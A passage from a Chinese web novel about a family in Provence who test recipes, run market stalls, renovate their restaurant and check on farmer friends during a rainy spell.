“我必须通知我的朋友们,你们的锅包肉配方升级了,让他们明天去梅纳村尝一尝新的味道。” 罗南在很多场合都说过,他的锅包肉是从罗天海那里学来的。 仅凭这道菜,弗雷迪确信吃锅包肉还要看罗天海。 和朋友们又有新的谈资了! 见弗雷迪的反应不错,罗天海又把‘香辣蟹’推到他的面前: “这道菜之前没给你们做过,是我最近新‘研发’的,我打算把它放到未来的菜单上,你帮我品品符不符合本地人的口味。” 看到海鲜,弗雷迪的态度认真起来。 普罗旺斯人的餐桌上每天必须有海鲜出现。 吃海鲜,他是最专业! 罗南嘱咐他大胆点评,那么弗雷迪就不客气了: “这道菜是辣的吧?” 香辣蟹色泽红润鲜艳,吃过不少次中餐的弗雷迪只看一眼就大概猜出了它的味道。 “是的,香辣口味的。”罗天海点头。 弗雷迪双手抱胸,语气严肃的说: “老罗,我必须提醒你,本地人吃的辣和中餐里的辣不同,如果要卖这种菜一定要慎重。” 普罗旺斯当地种植的辣椒是一种甜的红椒,如果想要增加辣味会用香料调配,例如干牛至、芥末籽和黑胡椒等等。 弗雷迪和他的朋友们能接受中餐的辣味,不代表其他人也能接受这是身为专业‘评委’必须要提醒到的事情。 罗天海没有说什么,一直催促弗雷迪尝尝。 弗雷迪用手拿起一块放到嘴里认真品尝,突然他的眼睛瞪大了几分: “这味道” “怎么样?”冯珍紧张的问。 说啊,最烦你们这样说话说一半了的! 弗雷迪啃完一整块螃蟹后,不停吸吮手指: “是中餐的‘香辣’口味没错,但吃起来又有点熟悉,相当神奇的感觉。” 罗南一家搬来普罗旺斯前,弗雷迪没有接触过中餐。 罗南一家搬来后,他也没在其他地方吃过中餐.那么这种熟悉感来自哪里? “会有突兀感吗?”罗天海问。 弗雷迪脑袋剧烈的摇动起来: “一点都没有!我非常喜欢这道菜的味道!” 普罗旺斯人如果觉得一道菜好吃,会用面包抹干净它留下来的汤汁。 而普罗旺斯人对一道菜的最高评价是菜还没有吃完,就开始用面包蘸汤汁了。 弗雷迪揪了一块乡村面包,在盘子上用力擦了一下: “配面包吃也很美味.相信我,本地人都会喜欢这个味道的,我发誓。” 弗雷迪接下来又品尝了剩下的两道菜,吃完所有.他发布了最终的专业点评: “‘改良’非常成功,既有中餐的特色口味、给人新鲜感,又不会让本地人觉得突兀、难以接受.我已经迫不及待你们的餐厅开业了。” 弗雷迪之前没少替罗南宣传他在梅纳村和卢尔马兰集市上的摊位,但弗雷迪还没有在他的朋友中宣传过罗南的餐厅。 他的确需要一些能让他在朋友中彰显优越性的话题,但弗雷迪只会推荐他吃过的、见过的。 锅包肉他吃过,他爱吃,所以敢给其他人推荐。 餐厅可不止卖一道菜,弗雷迪不敢保证这个中餐厅可以让每一个人都满意。 但今天吃过罗天海的菜后,弗雷迪觉得他不仅可以给那些对中餐感兴趣的人推荐,也可以给那些对中餐没有太大兴趣的人推荐了。 普罗旺斯本地人一定可以在这里找到他们爱吃的东西。 罗天海悄悄的攥了一下拳头,紧绷了几个月的心终于放下来了。 说弗雷迪是‘动物’专家和‘圣雷米’专家是开玩笑,但这家伙绝对是美食专家。 他的肯定给了罗天海极大的信心。 没给儿子拖后腿! 罗南似乎听到了父亲的呼唤,姗姗来迟。 弗雷迪见到罗南,开玩笑的说: “罗南,这里不需要你了,你父亲已经把菜做的非常完美,根本不需要再‘润色’什么。” 罗天海今天心情不错,也难得的和罗南开起了玩笑: “你还在家啊?我以为你出去了。” 冯珍放下餐具,笑着说: “你再来晚点我们都吃完了。” 罗南故意把盘子举高,不让他们看到: “那这狮子头我拿走了?” 灵感太多,无法取舍啊! 让各位久等了!! “放下!”弗雷迪拿起叉子,“别的菜可以拿走,狮子头不行,那是老罗的拿手菜!” 那些罗天海说无法改良的特色菜,反而是他平时经常给朋友们做的。 不过,罗天海想象不出罗南能把狮子头‘润色’成什么样,而且这小子在厨房‘鼓弄’太久了,说不定根本就没‘润色’成功,催促他道: “快坐下吧,一会儿菜凉了。” 不用你再努力什么了,我已大获成功! “快来喝酒。”弗雷迪给罗南道酒,提前祝贺道,“有你爸爸的手艺,你们家的餐厅一定能干成!” 罗天海做的狮子头的味道他太熟悉不过,经常吃。 体会过刚刚那几道新菜的魅力后,弗雷迪不觉得罗南能‘润色’出什么。 你再怎么改还还是狮子头啊,味道没有变。 罗南笑着说: “我爸爸的手艺当然厉害,但我这个儿子也得出出力啊” 说着,他把盘子放到下,有些遗憾的说: “第一次摆盘有些生疏,还有很大的提升空间,各位专家们给点评点评吧。” 白色的盘子中间放了一颗深褐色的狮子头,一个由芦笋、绿色酱汁和薄荷组成的绿色画环将狮子头环抱其中,花环中间还用了几个小蘑菇做点缀。 罗天海&冯珍&弗雷迪:“这是狮子头?!” 冯珍惊讶的不得了,站起来看: “哎呀儿子,你这样一摆,狮子头可以改名叫‘凤凰蛋’了,这也太高级了!” 罗天海碰都不舍得碰一下,眉毛拧成一团: “你这小子脑袋里有多少东西?这都是哪里来的灵感?” 这道狮子头给弗雷迪的震撼程度比之前几道菜加一起还要巨大,他不敢置信的问: “罗南.你的目标是把餐厅经营成米其林吗?” 这可是注重浪漫和细节的法兰西,法国人就喜欢把菜摆的像艺术品一样精致! 罗南的精致摆盘能力,给了这家餐厅无限的可能性和无法估量的上限。 “米其林?那太遥远了。”罗南坐下来,语气平静的说,“能顺顺利利的开起来,有稳定的客流我就满意了。” 美食专家弗雷迪端起酒杯,给今天的菜品做最终点评: “相信我朋友们,只要你们父子齐心协力,各自发挥出你们最擅长的东西,卢尔马兰的第一个米其林指日可待!” 第185章 兄弟们还好吗? 这顿饭吃得格外开心。 弗雷迪的评价给了罗天海极大的信心,他恨不得一睁眼马上到明天一早,让升级后的锅包肉在梅纳村的集市上出现,并正式给餐厅做一做宣传。 弗雷迪也开始做起他‘主席先生’的美梦,信誓旦旦的说明天要休息一天,去政府把‘普罗旺斯中国美食协会’申请下来。 罗南抬头看了看天,安慰父亲道: “不用着急,现在来集市的大部分是游客,餐厅开起来的时候他们都离开了。” 之后他又安慰弗雷迪: “那随时都可以去,别耽误工作,忘记现在是你的‘事业上升期’了吗?” 弗雷迪嘟嘟囔囔的说: “罗南,你怎么一直泼我们的冷水?” 罗南笑着喝了一口酒: “没有没有,我只是觉得明天可能不是一个好日子。” 第二天一早,罗南一起床就被告知了一个不好的消息。 “外面下雨了。”冯珍愁眉苦脸的说。 今天是去梅纳村摆摊的日子,下雨天会影响他们的生意。 罗南站在厨房的大厨户前伸了个懒腰: “小雨,说不定一会就停了。” 罗南也是昨晚突然‘发现’今天要下雨的。 但这场雨并不大,尤其进入雨季后,大家都提前做好了准备,所以没有特意提醒朋友们注意。 “今天还去摆摊吗?”罗天海询问罗南的意见。 他和冯珍商量了一下拿不准主意,还是要看罗南的意思。 现在家里的主事人已经不是他了。 罗南闻了闻外面混合着潮湿泥土香气的空气: “去吧,准备了那么多肉,能卖一点是一点。” 进入8月之后,葡萄果实已经成熟。 农夫们要做的事情已经不多,只需等一个月多后在果实最饱满的状态下把它们采摘下来。 不过罗南还是每天早上会去葡萄园看一看,这已经成为一种习惯。 今天这场小雨下的不大,但却让饱受烈日烘烤了几个月的地面有了片刻的‘喘息’机会。 地面上雨水潺潺,气温也格外舒适,罗南带着小黑和马赛在葡萄园里漫无目的的闲逛。 雨水浮于小黑的毛发表面,让它看起来‘熠熠生辉’的,马赛的胡子上则挂满了水珠,让它看起来格外滑稽。 虽然经过了品质改良,但马赛还是很喜欢潮湿的环境,‘小跟班’罕见的走到‘大哥’身前,欢快的跑来跑去,不一会就消失了身影。 小黑喜欢跟在罗南身边,又怕‘小弟’跑丢了,在葡萄园里来回的飞奔,跑的自己一身的泥。 整片葡萄园是两个小家伙除了家外最熟悉、最喜欢的地方,罗南跟在两只狗身后想——9月葡萄成熟后,这片地要种些什么呢? 之前罗南跟皮埃尔说,他未来想种一些其他的作物,但根据【种植】新带来的土壤分析能力判断,卢尔马兰附近的农田最适合种植的就是葡萄。 继续种葡萄,但划出来一小片地种其他作物? 不过这片地面积不大,罗南并不指望靠它赚钱,那就不考虑土壤适配度,种一片薰衣草? “算了,先把这片葡萄收了再说。”罗南抬头看了看天,“千万不要下太多雨啊,会影响收成。” 他自己倒是无所谓,不靠卖葡萄赚钱,他担心那些兄弟们。 虽然下着小雨,但像罗南一样冒雨来摆摊的摊主还是不少的,这是大部分人唯一的收入来源。 可冒雨逛集市的游客少的可怜,即使罗南这种火爆的摊位前都冷冷清清。 会有人因为下雨自杀绝不是危言耸听,这是真实事例。 普罗旺斯人厌恶一切没有太阳的日子,不能赚钱还没有太阳的日子更加让人厌恶。 没有生意的摊主们麻木的躲在盖着防雨布的遮阳伞下,像是被坏天气囚禁起来的囚犯,他们面色阴沉,时不时咒骂几声把他们关起来的鬼天气。 罗南对面摊位的摊主是一位女士,她没有做咒骂空气这种蠢事情,但在半个小时内点燃了5根香烟,每次吐出烟雾的时候她都会用尽全身的力气,像是要吹开头顶的乌云似的。 当她点燃第六根烟的时候,还同时打开了收音机,里面在放当地的新闻节目。 这是罗南最喜欢的一个电台,因为普罗旺斯人播报新闻的方式像是演小品一样,生动又有趣,但今天那些引人发笑的妙语在这里起到了反作用。 电台里说吕斯特勒村的下水系统被这场‘毛毛雨’击垮了,他们建议调查一下村长是不是被人泡在酒里。 “以往到这个日子,普罗旺斯还没有开始雨季,但这已经是今年的第二场雨了。”一个摊主用‘天塌了’的语气抱怨,“幸运女神离开了这片土地。” 另一个摊主的鼻子里发射出表示不屑的气息: “伙计,你卖的是防水鞋,这些雨难道不是你找幸运女神祈祷来的吗?” 第一个摊主用更加猖狂的言语回击: “你就是吕斯特勒的吧?家都被冲烂了,还有心情来梅纳村摆摊?” “比乌村有多好吗?每年都会有几个游客从你们村的山路上掉下去,即使不下雨你们的路也自己垮了。” “那也比拥有一个酗酒的村长好!” 由一场雨引起的争吵就这样开始了。 英勇的‘爱国主义精神’在小小的梅纳村集市得到了淋漓尽致的体现,两人都忠诚的维护着自己的村子,顽强的贬低着对方。 诅咒和诽谤像大山一样一次次砸向他们能想起来的每一个人和每一件事上,双方都抛开了一切表面的礼仪: 你那里的女人最丑,你那里的男人最粗鄙,你那里的老人最懒惰,你那里的孩子是最顽皮 这两个男人的脾气差的让人惊异,看的巴黎一家人目瞪口呆,完全找不到他们两个人中间的矛盾点,那位酗酒的村长阻碍到谁了吗? 而这场争吵却让他们精力充沛、热血沸腾,声音越来越高,渐渐有了动手的趋势,祖先的名字也被牵扯进了这场战争里。 在隔壁摊位的佐伊安慰他们: “一到下雨天普罗旺斯人就会这样,天气晴朗之后就好了。” 不过这场毫无缘由的争吵给罗南带来了不少顾客。 看戏的时候最适合拿着点东西吃或者拿点东西喝了。 顾客们对升级后锅包肉的评价非常不错,甚至有游客问他们在其他省份能不能吃到这东西。 罗天海头顶的乌云已消散开来,干活的动力十足,对未来充满了信心。 不过罗南头顶的乌云依然存在。 卖东西的摊主们心情都这么暴躁。 农夫们更加痛恨坏天气了。 他有些担心他的兄弟们。 装修餐厅后,罗南和农夫们的往来频率降低了许多。 大家减少了去他的频次,但偶尔会去餐厅找他。 不过那里不是聊天的好地方,又吵又乱,说两句他们就匆匆离开。 罗南决定今天从梅纳村回去后,要去老酒馆看看他们。 今天下的确实是小雨,但持续的时间挺长的。 一直到收摊时间,雨都没有完全停下来。 不过托了那场‘战争’的福,营业额没有减少太多,还是卖了3000多法郎。 罗天海担心回去的路不好走,建议在梅纳村吃过午饭再回去。 谁知道到了餐厅,又遇到了一场莫名其妙的争吵。 这次的对峙双方是一名梅纳村的村民和一名来自勃艮第的游客。 罗南坐下的时候,他们已经吵到一半了,听了好半天,又加上佐伊的‘科普’,他才听明白这两个人在争吵些什么,顿时觉得更无语了。 蜗牛‘专家’皮埃尔曾给罗南科普过法国两种最著名的蜗牛,它们分别是来自勃艮第地区的勃艮第蜗牛,和生长在普罗旺斯地区的小灰蜗牛。 但他没有给罗南‘科普’法国人吃蜗牛的历史。 中石器时代欧洲就有蜗牛养殖场的存在,从那时起,蜗牛一直是这里的桌上佳肴。 到十六世纪,吃蜗牛之风开始消退,后来很长一段时间,烹饪书、食谱和餐厅都不见蜗牛踪影,原因不明,仅有的一种说法是——蜗牛逐渐被视为穷人的食物,难登大雅之堂。 但不管是什么缘故,大约有两百年,蜗牛都在欧洲大陆消失了。 直到十九世纪中叶,才再次掀起吃蜗牛之风,这要感谢巴黎的那些时髦啤酒馆,是他们再次吃起了这种食物。 那个时候蜗牛往往按照普罗旺斯手法烹调,但勃艮地地区的蜗牛比普罗旺斯的蜗牛更‘名贵’,他们给了这道菜一个官方的名字——勃艮第烤蜗牛。 普罗旺斯人只得改变原有做法,在原材料加入了更多的香料,以求差异性,但他们却痛失了本来属于自己的东西。 今天的这场战争就是由此而起,那位勃艮地游客在餐厅点了‘勃艮第烤蜗牛’,引起了某位被糟糕天气影响了心情的本地村民。 这场战役波及的不止是蜗牛和酱汁,还波及到了葡萄酒、文化底蕴、医疗、GDP、交通系统、空气质量、温度、居民素质甚至是新生儿生育率。 双方搜刮出肚子里的一切知识作为抨击对方的武器。 目睹过这场战役后罗南只有一个想法——聚会还是要多参加,没有渊博的学识都没有资格吵架了。 佐伊低声对罗南一家人说: “那个梅纳村的村民是维埃里的高中老师。” “什么?!”巴黎一家人大为震惊。 “那我猜那个勃艮地的游客是大学老师。”罗南摸着下巴说。 目前这场战役,勃艮第占据了上风。 那人总是能巧妙的利用一些文字游戏设圈套,出其不意的将普罗旺斯方绊倒。 罗南一行人午饭结束,两个人的争执依然在继续,而且留下听他们讲课的人越来越多。 不过罗南必须要离开了。 教师都在下雨天的影响下压不住自己的火气.那些暴躁‘老哥’们不会出事吧? 罗南回到卢尔马兰直奔老酒馆。 但意外的是,和他熟悉的朋友们没有一个在这里。 罗南先冒雨去了亨利家,这个家伙是他周围的朋友里脾气最火爆的。 他担心亨利压抑了几个月的对游客的怨气彻底爆发,和游客们吵起来。 结果亨利老老实实的待在家里,并没有出去。 “罗南先生,有什么事吗?”亨利紧张的把罗南请进屋。 这是罗南第一次进亨利家,虽然对亨利的经济条件早已有了心理预期,还是难免被‘刺激’到了。 今天的雨不大,但亨利家还是漏雨了,地上摆着许多破破烂烂的罐子,而他的妻子和女儿正挤在一个最‘干净’的角落做绣被。 为了不弄脏和弄湿那些绣被,在她们的头顶上有一个小小的‘雨棚’,地上也铺了一些类似塑料布的东西。 罗南把视线移开,看向别处,其他地方也是‘满目疮痍’。 亨利家需要一次大修. “没什么,下雨了,我担心你出去和游客吵起来,梅纳村里到处是因为糟糕天气吵架的人。”罗南语气平静的说。 亨利正了正帽子,指着妻子和女儿说: “下雨的时候我从不出去,丽莎和她妈妈需要我。” 罗南拍了拍亨利的肩膀: “行了,那我走了。” “再见罗南先生!”亨利礼貌的把他送到门外。 罗南走了几步,回头对亨利说: “过一阵子,我可能会再委托你一个活儿干。” “打理后院吗?”亨利兴奋的问。 他一直在努力争取这份工作! “不止,可能需要你们三口人一起。”罗南笑容灿烂的对亨利摆了摆手,走入了雨幕之中。 虽然雨没有停、虽然雨打湿了亨利的衣服,但他觉得温柔的太阳照耀到了自己的身上。 罗南去的第二个地方是特奥家。 这个家伙也很让人不放心。 结果这次扑了个空,不止特奥,特奥一家人都没在,车也开走了。 罗南无奈只能回家,结果发现特奥的车居然在自己家门口停着。 这太让人匪夷所思了,他们两家只距离几百米。 进屋一问,冯珍告诉罗南,特奥一家在后院。 罗南去到后院,发现特奥正抱着安娜蹲在罗南家的花坛旁,安娜的妈妈打着雨伞和他们在一起。 见到罗南来了,特奥小心翼翼的把安娜交给妻子: “抱着安娜,她不喜欢把脚打湿。” 安娜和妈妈继续去看别的花了,特奥小跑着来找罗南,给他解释: “安娜有一点‘洁癖’,别的地方的花附近有泥土,我踩到她也不开心,所以我带她来你后院看花了,你这干净,她也喜欢这里。” 罗南似笑非笑的对特奥说: “我还担心你这家伙出去跟人家打架呢。” 特奥把一根烟叼在嘴上: “我为什么要出去跟人打架?” 罗南指天: “因为雨啊,你们普罗旺斯人不是一到雨天就觉得要‘世界末日’了吗?” 特奥哈哈大笑的看向自己的女儿和妻子: “那是以前,我现在不讨厌雨天了,我说真的。” 罗南耸肩: “因为又可以好久不给葡萄浇水了?” 特奥满脸幸福的说: “因为安娜喜欢雨天了,她就是我的太阳,不是吗?” 罗南并排和特奥站在一起,看他的‘太阳’。 “晚上来我家吃饭吧,把其他人叫上一起。” “真的假的?你要招一帮酒鬼来你家吃饭?” “真的,我亲自下厨。” “什么事,这么想不开?” “太久没见,想你们了不行?” “滚!!” 第186章 富婆喜欢小白脸 罗南说到做到,他真的把十几个农夫叫到自己家吃了一顿晚饭。 因下雨没有卖出去的猪肉在当天聚餐中起到了关键作用。 它们化身为各种形状、味道和口感的中国菜肴,给这些抱着喝酒目的来的农夫们上演了一场‘奇幻’美食之旅。 第二天,卢尔马兰多了十几个移动的‘宣传器’。 农夫们即使见到路边的狗,都要夸两句罗南父亲做的饭好吃,等他们的餐厅开业了,你一定要去尝尝啊。 这些宣传语不到一天就蔓延到了卢尔马兰的每一个角落。 托马斯和歌迪亚听到后,更加断定罗南的餐厅也要赶在8月底、游客返城前开业。 但他们去罗南的餐厅找他时,发现原本超前的装修进度居然又放缓了室外的地面工程进展符合预期,但室内的状态和一周前他们频繁来请求帮忙时没有太大的变化。 不是早就做好水电路改造了吗? 这一周在干什么? “最近在给房子做加固处理,做完这些基础工程,再做顶面、墙面和地面施工。”罗南拔掉电锯的电源,给他们解释。 前一阵子,他发现家里二楼花了大价钱买的一扇玻璃窗沿着对角线开裂了,但窗户是他亲自换的,罗南肯定不是因为施工问题导致的。 他去找卖窗户的老板,‘指责’他材料有问题。 老板却把缘由归咎到了地震上。 罗南当时都气笑了,每天天气晴朗,风平浪静,连大风都没有刮过.什么时候地震过呢? 但老板坚持认为,普罗旺斯在频繁的经历着人类无法察觉的轻微地震。 罗南把这件事当笑话讲给佐伊听,说卢尔马兰又多了一个气象‘专家’,没想到佐伊用科学的角度给罗南解释事实就是这样的——地中海附近自然灾害高发,尤其是地震。 后来罗南会特别留意身边的建筑,发现无论是民宅、餐厅还是政府大楼的地面和天花板上都能找到明显的裂缝。 商业街项目的施工时间非常短,罗南也不太信任这里的施工水平,尤其未来这里既是他的产业又是他的家,所以他让卡福给房子做了许多加固处理,以求住的更安全些。 托马斯和歌迪亚一点都不好奇罗南做加固的理由,他们只是不理解: “你不赶在8月底前开业?” 罗南摇头: “我的餐厅要10月份才能开业。” 歌迪亚的黑色眼线都因眼睛猛然睁大而变长了些: “那时候哪还有顾客啊?” 整条商业街最近像是驻扎了一个军团那么热闹,走到哪里都是‘叮叮咣咣’的,大家把手里的锤子抡得像索尔一样就是为了和时间赛跑。 早开业一天,多一天生意,因为再有生意就是明年了。 罗南可倒好直接放弃了? “我这里的工程量太大,即使赶工也很难这个月完成,与其匆匆忙忙的错漏百出,不如慢慢把活干好了。”罗南乐观的说。 他的这栋楼是整条商业街上面积最大的商铺,还有一个巨大的后院。 一个月装修完开业.可能行,但没有这个必要。 托马斯提醒罗南: “我的石器店下周开业,歌迪亚的艺术品商店下下周开,其他店铺也都会在这两周陆续开起来。” 罗南笑着说: “我会给你们送开业礼物的。” 从罗南的餐厅出来。 托马斯的对歌迪亚说: “罗南的餐厅还有一个多月才开业,现在就开始做宣传了.很难想象到了9月底,他会宣传成什么样子。” 村民们动员起来了,教堂也利用上了真是令人叹为观止的宣传策略。 “还是管好我们自己吧托马斯。”歌迪亚快步返回自己的店铺,“我也要为开业做准备了。” 托马斯则和她去了相反的方向,他看着村中心的老教堂尖顶说: “我也去准备准备。” 别的老板开业准备是动动嘴或动动手,但罗南这个老板准备开业的状态是实打实的挥洒汗水。 室内没有足够的施工空间,罗南每天的工作场地都是餐厅后院。 即使佐伊给他买了不少物理防晒工具,可不到一个月,罗南就晒得跟普罗旺斯当地人差不多黑了。 “当农夫大半年没怎么晒黑,开个餐厅倒是晒黑了这么多。”罗南脱掉上衣,用水擦拭身体降温。 卡福在罗南身后排队: “但你的脸还是白的。” 即使没有那些防晒道具,罗南的脸也晒不黑,佐伊还给罗南准备了防粉尘的道具、防噪音的道具、保证安全的道具 伙计们每天上下班都要去罗南那看看,如果发现他还在呼吸,便会感慨一句: 罗南能活到现在,没有憋死或者热死真是一个巨大的奇迹啊。 罗南想到了一个‘中国梗’,自言自语的嘟囔: “脸白就行。” 这几个月罗南花钱如流水。 刚给卡福结完工钱,木材又不够用了,这周又给多库结算了石材定制的预付款 短时间内存款数次触及警戒线,靠每周的两次集市苦苦度日。 如果再下两场雨,兄弟们不疯,他肯定要疯了。 但佐伊却越来越有钱了。 她这周在艾克斯卖出去了一个15000法郎的动物形象艺术品,还有一个有钱人通过主办方找她定制给女儿的成年礼。 佐伊不想接,定制麻烦又浪费时间,于是报了30000法郎的高价,主办方说那个有钱人回去考虑了。 这事可吓死佐伊和罗南了。 佐伊后悔自己报低了价格,即将面临被有钱人指手画脚的风险。 罗南后悔为什么没有好好保护好脸啊,富婆都喜欢脸白的。 佐伊这周起便不再参加集市,每次集市上的那几百法郎她已经不在乎了。 但罗南在乎啊,他穷死了! 他和佐伊共用了一个摊位,佐伊不去集市,那她的那一部分就浪费了。 罗南让罗天海想想还能在集市上卖点什么东西。 一是提一提收入,让他能顺利的把装修做完。 二一个是餐厅的宣传计划的确可以开始了。 集市上除了游客也有本地买菜赶集的村民,等游客大军离开普罗旺斯,他们就是罗南的顾客来源了。 罗天海举双手同意罗南的决定,他早就想开始宣传了。 这不,在罗南挥洒汗水的同时,他已做好一切准备,要去集市上卖‘盒饭’了。 周四晚上,罗南干完活回家,发现家里只有母亲一个人。 “爸爸呢?”罗南四处看了看。 冯珍做了一个‘嘘’的手势,又指了指楼上: “下午你爸爸把食材准备好了,明天夜里3点起来炒菜,现在去睡觉了。” “他要卖多少个菜啊?”罗南轻手轻脚的走进厨房,发现台面上全部是码得整整齐齐的处理好的食材,数都数不过来。 “除了锅包肉还有12个菜。”冯珍把罗天海提前给儿子做好的晚饭摆出来,“你爸爸说了,明天你就负责现场做锅包肉,盒饭那边不用你操心。” 锅包肉和粉红酒是罗南在集市的‘立足’根本,很多人都是奔着这两个东西来的,所以这两个东西的卖法不会改变,只是在原先佐伊卖器具的地方多摆出来一个卖盒饭的部分。 一开始爷俩说这件事的时候,罗南让罗天海再多想一两种东西卖,扩充一下产品种类就行,结果被罗天海直接升级成了卖盒饭。 罗南有些担心的对母亲说: “爸爸的心气太高了.第一次卖阵仗铺那么大,万一效果不好,他不会被打击到吧?” 虽然锅包肉在普罗旺斯已经有了一点知名度,但中餐还是冷门的。 罗南最开始在梅纳村卖锅包肉的时候也是挨了一个多月才开始有气色,而且明天又是在客流量没有那么大的卢尔马兰集市上卖效果非常难说。 冯珍用嘴撇楼上: “他说剩下了,大不了就带回来多吃几顿剩菜,但如果做的不够,没让客人吃满意,就是他的失责,以前你爸爸总是说,只要开门营业,顾客就必须是第一位的。” 罗南低头笑着摇了摇头。 这老头 “那他吃饭了吗?”罗南指楼上。 “吃了,我们都吃完了。”冯珍去厨房里拿了一把蒜。 “那你也上去休息吧,吃完我自己收拾,不用陪我。”罗南转身去洗澡。 “没事,我明天又不早起。”冯珍抱着蒜坐到沙发上,应该是给夜里的罗天海准备的。 罗南回头,把蒜从妈妈手里抢下来,用‘命令’的语气说: “爸爸3点起,你肯定会陪他一起起,快去睡觉!吃完我剥。” 冯珍每天不骂罗天海几句浑身难受,但她最在意的也是罗天海。 罗南甚至猜测,妈妈要比爸爸早起一个小时,为了让他少忙点。 冯珍突然搂住儿子的脖子: “我儿子真懂事!” 罗南这孩子嘴是笨了点,但心思细腻。 罗南在母亲的背后轻轻拍了两下,用歉意的语气说: “你们辛苦了等餐厅开业就不用这么累了,到时候咱们还是只卖锅包肉和粉红酒,你和爸爸也不用陪我每周奔波,在餐厅里好好待着,我找其他人陪我去集市。” 冯珍也回拍了几下罗南,语气里满是笑意: “儿子,我们一点都不累,这种一家人一起努力的感觉特别幸福真的。” 第187章 人生两大信条 卖盒饭这件‘麻烦’事是罗天海执意要做的。 老婆和儿子都多次劝过他最好‘循序渐进’。 可罗天海就是想快速验证一下自己的手艺是不是能在普罗旺斯有所发展,所以坚持多试几个菜,最终搞成卖盒饭了。 但男子汉大丈夫,一人做事一人当。 他自己早早的起,谁都不麻烦,这个苦他自己吃就够了。 没成想3点起来.老婆和儿子都在一楼。 “早啊,爸爸。”罗南在厨房里刷碗。 “儿子帮你把配料切好了,你看看还差什么?”冯珍把调料全部准备好。 罗天海心中五味杂陈的,一时间不知道说什么好了。 在厨房转了两圈愣是没找到能干的活儿。 “你们不用帮我,我一个人没问题的,快上去睡一会,5点多我叫你们。”罗天海‘倔强’的说。 罗南把锅放好,笑着说: “快炒吧,菜量大不好熟,我在旁边学习学习。” 冯珍把锅铲塞到罗天海手里,不耐烦的说: “我告诉你啊,别矫情,下午睡一觉就好了,赶紧干活!” 罗天海觉得手里的铲子不是铲子了,面前的锅也不是锅了。 它们是推动他为家人努力奋斗的‘助燃器’。 这份‘助燃器’在他的身体里点燃了熊熊烈火,烧得他浑身燥热。 只不过这团熊熊烈火没过几个小时就被现实‘浇灭’了。 普罗旺斯的集市通常在早上8点开始,中午12点前结束。 大家吃过早饭出来,短时间内不会感受到饿。 酒是法国人一睁眼就会喝的东西,几点看到都能喝。 锅包肉的受众是女人和小孩,她们都是拿锅包肉当‘零食’吃,吃饱了也不碍事,来点零食正合适。 但吃饱了的人,对大餐‘盒饭’完全没有什么兴趣。 每一个来买锅包肉和粉红酒的顾客都会去盒饭区看看,不过也只是看看而已,问一问这个是什么,那个是什么后便会离开。 9点半,罗南那边已经卖光5瓶粉红酒和一大盆猪肉了,盒饭们才只受了一点点皮肉伤,一共卖出去3份。 “第一天卖,得让大伙有个接受的过程。”冯珍在倒粉红酒的间隙安慰罗天海。 罗南也抽空鼓励父亲: “别着急,还没到时间,晚一点大家逛饿了就会买了。” 9点的理由是太早了,游客们还不饿。 10点的理由是饿了人还没逛到这里,再等等。 但到了将近11点,罗天海看着手里拿着面包、香肠、奶酪或者烤肉的顾客在他面前一个一个经过后,终于意识到自己犯下了错误。 “我把事情想的太简单了。” 口味不是唯一的决定因素,还要考虑如何推动这些人‘尝试’新鲜事物。 罗南的锅包肉和粉红酒是靠他的独特‘宣传语’一点点火起来的,而且始终有排队买的人,才能不断吸引新的客人。 但盒饭不具备这种条件,他没有固定的客群,也没有亮眼的‘宣传语’。 罗天海觉得自己有好手艺,就能一次成功太想当然了。 罗南发现父亲好久没说话,特意走过来对他说: “别着急,一会回家咱们坐下来一块想想怎么调整,都是慢慢试出来的。” 罗天海对他摆摆手: “你每天已经很累了,今天又起这么早,下午回去睡觉吧,明天还要去梅纳村,我自己解决就行。” 罗南笑着说: “大家一起商量,明天去梅纳村就能调整了,你自己一个人琢磨得琢磨到什么时候?” 罗天海‘倔强’的说: “盒饭这个活儿,你不用费心,我自己能弄好。” “一会再说。”罗南见排队的人变多了,赶紧回去继续做锅包肉。 转折出现在11点后。 街上的游客明显少了,到了饭点,大家开始寻找吃午饭的地方。 财务冯珍去罗天海那数了数钱,鼓励似的说: “300多法郎,挺不错的了。” 有另一边锅包肉和粉红酒的人流量助力,盒饭这里的生意虽然不红火,但也可以接受。 罗天海的盒饭定价并不高,根据选择的菜品不同价格在20-45法郎之间。 卖了十几份呢,别不知足啊。 虽然早有准备,但罗天海的语气里还是有明显的失落: “明天不卖这个了,我想想换点别的。” 冯珍咂巴了一下嘴: “儿子怎么跟你说的?一会儿回家大家坐下来一块商量,你别什么事都自己一个人扛下来。” 两口子正说话呢,小胖子康奈尔出现在摊位前: “给我一份,谢谢。” 罗天海和冯珍同时愣住。 卢尔马兰的人没有在外面吃饭的习惯,而且康奈尔前几天才去他们家吃过饭,又馋了? “给你拿一份,不用钱。”这是罗南的朋友,罗天海不想收钱。 康奈尔强硬的把钱放下: “不要钱肯定是不行的,这是生意!” 罗南听到这边的对话,问康奈尔: “你怎么出来买饭了?你妈妈今天中午没做饭?” 康奈尔给罗南解释: “我姐姐带着孩子从米尔克回来了,我打算让他们尝尝中国菜。” 罗南对父亲说: “卖给他吧,康奈尔家人多,多给他盛点。” 不要钱不好,但多给点可以。 “谢谢。”康奈尔拿着他鼓鼓囊囊的盒饭开开心心的回家了。 又过了几分钟,特奥慌慌张张的跑来: “快给我来一份,我把安娜的午饭搞砸了!” 特奥的妻子这几天去了卡西斯父母家,特奥不舍得‘小太阳’离开,让妻子把孩子留在卢尔马兰。 冯珍一边给特奥盛饭一边操心的说: “我就说你别给安娜做炖羊肚那么复杂的菜,你做三明治也行啊。” 特奥昨天去罗南家问炖羊肚怎么做,说是要让女儿好好见识一下爸爸的手艺,罗南一家早就预见到了这个结局。 特奥扔下钱就跑: “安娜不是什么东西都吃的!” 罗天海正看着特奥叹气呢,希尔维安排给罗南维持秩序的政府员工也过来点了一份。 “我听皮埃尔说,你们做的中餐特别好吃,回去和家人一起尝尝。” 不是每个人都有机会去罗南家吃饭。 大部分人只能从别人的嘴里听到中餐的味道。 康奈尔和特奥的表现不像是夸大其词的样子。 那就买回去尝尝? 前几个小时冷冷清清,但在集市的尾声又有几个本村村民来买了盒饭,他们全部是被移动‘宣传器’安利过来的。 冯珍路过罗天海的时候白了他一眼: “想自己扛,但你扛的下来吗?这都是罗南朋友们带来的客人!” 罗天海苦涩的叹气。 他只是想帮儿子分担点压力啊。 回到家,罗天海乖乖的和老婆、儿子坐到一起开‘复盘’会议。 以前他的人生信条只有一个——老婆说的一切都是对的。 现在再加一条——儿子让干什么干什么。 老老实实、脚踏实地的给儿子打工,不再逞强了! “明天还去梅纳村卖盒饭吗?”罗天海征求罗南的意见。 